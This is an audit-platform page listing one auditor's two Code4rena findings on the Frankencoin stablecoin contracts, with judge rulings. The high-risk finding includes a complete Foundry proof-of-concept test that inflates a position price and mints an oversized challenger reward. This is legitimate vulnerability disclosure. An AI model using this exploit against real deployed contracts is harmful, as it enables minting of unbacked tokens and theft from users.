Frankencoin - T1MOH's results

A decentralized and fully collateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 12/04/2023

Pot Size: $60,500 USDC

Total HM: 21

Participants: 199

Period: 7 days

Judge: hansfriese

Total Solo HM: 5

Id: 231

League: ETH

Frankencoin

Findings Distribution

Researcher Performance

Rank: 59/199

Findings: 2

Award: $68.89

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Awards

35.0635 USDC - $35.06

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-458

External Links

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L347 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L252-L276

Vulnerability details

Impact

Malicious user can clone existing position, call adjustPrice() to set incredibly high price. Then launchChallenge() on this position (i.e. become challenger). tryAvertChallenge() will always return false, because price in position is incredibly high. And after ending of auction, challengerReward is calculated from multiplying price, positionSize, CHALLENGER_REWARD (2%) resulting in very very high challengerReward. Ends up in minting very high amount of Frankencoins to malicious user.

Proof of Concept

Open position, adjust price, launch challenge, bid, wait till the end, claim challengerReward

Insert this test into test/GeneralTest.t.sol and run forge test --match-test testHackWithPrice --via-ir -vv

function testHackWithPrice() public { address hackerAndOwner = address(0x4); address bidder = address(0x5); // mint initail tokens vm.prank(address(swap)); col.mint(hackerAndOwner, 2_000 ether); vm.prank(address(swap)); zchf.mint(hackerAndOwner, 1_000 ether); vm.prank(address(swap)); zchf.mint(bidder, 1_000 ether); // position args uint256 minCollateral = 100 ether; uint256 initCollateral = 1_000 ether; uint256 mintingMaximum = 3_000 ether; uint256 expirationSeconds = 100 days; uint256 challengeSeconds = 1 days; uint32 mintingFeePPM = 25000; uint256 liqPrice = 1 ether; // fair price is 1 to 1 uint32 reservePPM = 200_000; // open position vm.prank(hackerAndOwner); col.approve(address(hub), initCollateral); vm.prank(hackerAndOwner); address posAddress = hub.openPosition(address(col), minCollateral, initCollateral, mintingMaximum, expirationSeconds, challengeSeconds, mintingFeePPM, liqPrice, reservePPM); Position pos = Position(posAddress); skip(7 days + 60); // adjust price to very high uint256 newPrice = 1_000_000_000_000_000 ether; vm.prank(hackerAndOwner); pos.adjustPrice(newPrice); // launch challenge on this position uint256 challengeCollateralAmount = 1_000 ether; vm.prank(hackerAndOwner); col.approve(address(hub), challengeCollateralAmount); vm.prank(hackerAndOwner); uint256 challengeIndex = hub.launchChallenge(posAddress, challengeCollateralAmount); // bid fair price on auction uint256 zchfFairAmount = 1_000 ether; vm.prank(bidder); zchf.approve(address(hub), zchfFairAmount); vm.prank(bidder); hub.bid(challengeIndex, zchfFairAmount, challengeCollateralAmount); // wait and complete auction skip(2 days); hub.end(challengeIndex); // assert uint256 volume = pos.price() * challengeCollateralAmount / 10**18; uint256 challengerReward = hub.CHALLENGER_REWARD(); console.log("Current hacker ZCHF amount (without fractional part)"); console.log(zchf.balanceOf(hackerAndOwner) / 10**18); assertEq(zchf.balanceOf(hackerAndOwner), volume * challengerReward / 1_000_000); }

Tools Used

Manual Review, Foundry

Maybe calculate challengerReward from actual effectiveBid instead of using volume with Positions's price (that could be malicious)

#0 - c4-pre-sort

2023-04-21T11:49:02Z

0xA5DF marked the issue as duplicate of #973

#1 - c4-pre-sort

2023-04-24T18:44:30Z

0xA5DF marked the issue as duplicate of #458

#2 - c4-judge

2023-05-18T14:41:44Z

hansfriese marked the issue as satisfactory

Findings Information

Labels

bug
2 (Med Risk)
low quality report
satisfactory
edited-by-warden
duplicate-745

Awards

33.835 USDC - $33.83

External Links

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L97 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L159 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L177 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L263

Vulnerability details

Impact

DOSer can frontrun all main functions in Position.sol: mint(), withdrawCollateral(), adjustPrice(), reduceLimitForClone(), calling MintingHub#launchChallenge() and paying minimumCollateralÑŽ Such actions will block any external interactions with Position

Proof of Concept

If attacker This functions have modifier

    modifier noChallenge() {
        if (challengedAmount > 0) revert Challenged();
        _;
    }

Tools Used

Manual Review

Use a timeout after the challenge is complete so the user can interact with the position

#0 - c4-pre-sort

2023-04-26T11:47:41Z

0xA5DF marked the issue as duplicate of #745

#1 - c4-pre-sort

2023-04-26T11:47:49Z

0xA5DF marked the issue as low quality report

#2 - 0xA5DF

2023-04-26T11:48:25Z

Warden didn't correctly identify the issue as the primary did, front running isn't really relevant

#3 - c4-judge

2023-05-18T13:50:34Z

hansfriese marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter